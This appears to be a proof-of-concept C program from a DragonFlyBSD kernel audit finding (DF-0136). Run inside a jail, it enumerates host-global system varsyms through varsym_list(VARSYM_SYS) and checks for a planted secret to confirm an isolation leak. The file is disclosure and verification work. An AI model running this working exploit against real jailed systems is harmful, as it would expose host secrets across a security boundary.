โฌข DragonFlyBSD Kernel Audit
DF-0136 / leak_check.c
โ† back to finding โ†“ download raw
/*
 * DF-0136 PoC โ€” varsym_list(VARSYM_SYS) jail isolation breach.
 *
 * Run this binary INSIDE a jail (e.g. via the `jail` command). It demonstrates
 * that varsym_list(VARSYM_SYS) โ€” sys/kern/kern_varsym.c:263-264 โ€” reaches the
 * host-global varsymset_sys for a jailed process (no jail redirect), unlike
 * varsym_get()/varsymfind() (:400-408) and varsym_set() (:153-155) which both
 * redirect VARSYM_SYS to the prison varsymset for jailed creds.
 *
 * Expected (BUG present):  prints "LEAK_CONFIRMED" โ€” the host system varsym
 *                          DF0136_HOSTSECRET is enumerable from inside the jail.
 * Expected (FIXED):        prints "NO_LEAK"        โ€” host system varsyms are
 *                          not reachable; jail-isolation holds.
 *
 * Build:   cc -o leak_check leak_check.c
 * Run:     jail <path> <host> <ip> /path/to/leak_check
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/varsym.h>
#include <sys/sysctl.h>

/* libc exposes these but the public header does not prototype them. */
int varsym_list(int level, char *buf, int maxsize, int *marker);
int varsym_get(int mask, const char *wild, char *buf, int bufsize);
int varsym_set(int level, const char *name, const char *data);

static int
is_jailed(void)
{
	int v = 0;
	size_t s = sizeof(v);
	if (sysctlbyname("jail.jailed", &v, &s, NULL, 0) == 0)
		return v;
	return -1;
}

int
main(void)
{
	char buf[4096];
	int marker, bytes, leaked = 0, count = 0;
	char gbuf[256];

	printf("[*] jail.jailed = %d\n", is_jailed());

	/* ---- The buggy path: varsym_list(VARSYM_SYS=3) ---- */
	printf("[*] varsym_list(VARSYM_SYS) enumeration:\n");
	marker = 0;
	for (;;) {
		errno = 0;
		bytes = varsym_list(VARSYM_SYS, buf, sizeof(buf), &marker);
		if (bytes < 0) {
			printf("  varsym_list() error: %s\n", strerror(errno));
			break;
		}
		/* Walk the NUL-separated name/data pairs. */
		{
			int b = 0, i;
			char *vn = NULL;
			for (i = 0; i < bytes; i++) {
				if (buf[i] == 0) {
					if (vn == NULL) {
						vn = buf + b;
					} else {
						char *vd = buf + b;
						count++;
						if (strstr(vn, "DF0136_HOSTSECRET")) {
							printf("  *** LEAKED: %s=%s ***\n", vn, vd);
							leaked = 1;
						}
						vn = NULL;
					}
					b = i + 1;
				}
			}
		}
		if (marker < 0)
			break;
	}
	printf("[*] varsym_list(VARSYM_SYS) enumerated %d system varsyms from "
	       "inside the jail\n", count);

	/* ---- The correctly-scoped path: varsym_get(VARSYM_SYS_MASK) ---- */
	errno = 0;
	gbuf[0] = 0;
	bytes = varsym_get(VARSYM_SYS_MASK, "DF0136_HOSTSECRET", gbuf, sizeof(gbuf));
	if (bytes >= 0 && bytes <= (int)sizeof(gbuf)) {
		printf("[*] varsym_get(DF0136_HOSTSECRET) FOUND: '%s' "
		       "(get-path is jail-scoped, but list-path is not)\n", gbuf);
	} else {
		printf("[*] varsym_get(DF0136_HOSTSECRET) not found (rc=%d, %s) โ€” "
		       "get-path correctly jail-scoped\n", bytes, strerror(errno));
	}

	if (leaked) {
		printf("\nRESULT: LEAK_CONFIRMED โ€” host system varsyms are enumerable "
		       "from inside a jail via varsym_list(VARSYM_SYS)\n");
		return 0;
	}
	printf("\nRESULT: NO_LEAK โ€” jail isolation holds for varsym_list\n");
	return 1;
}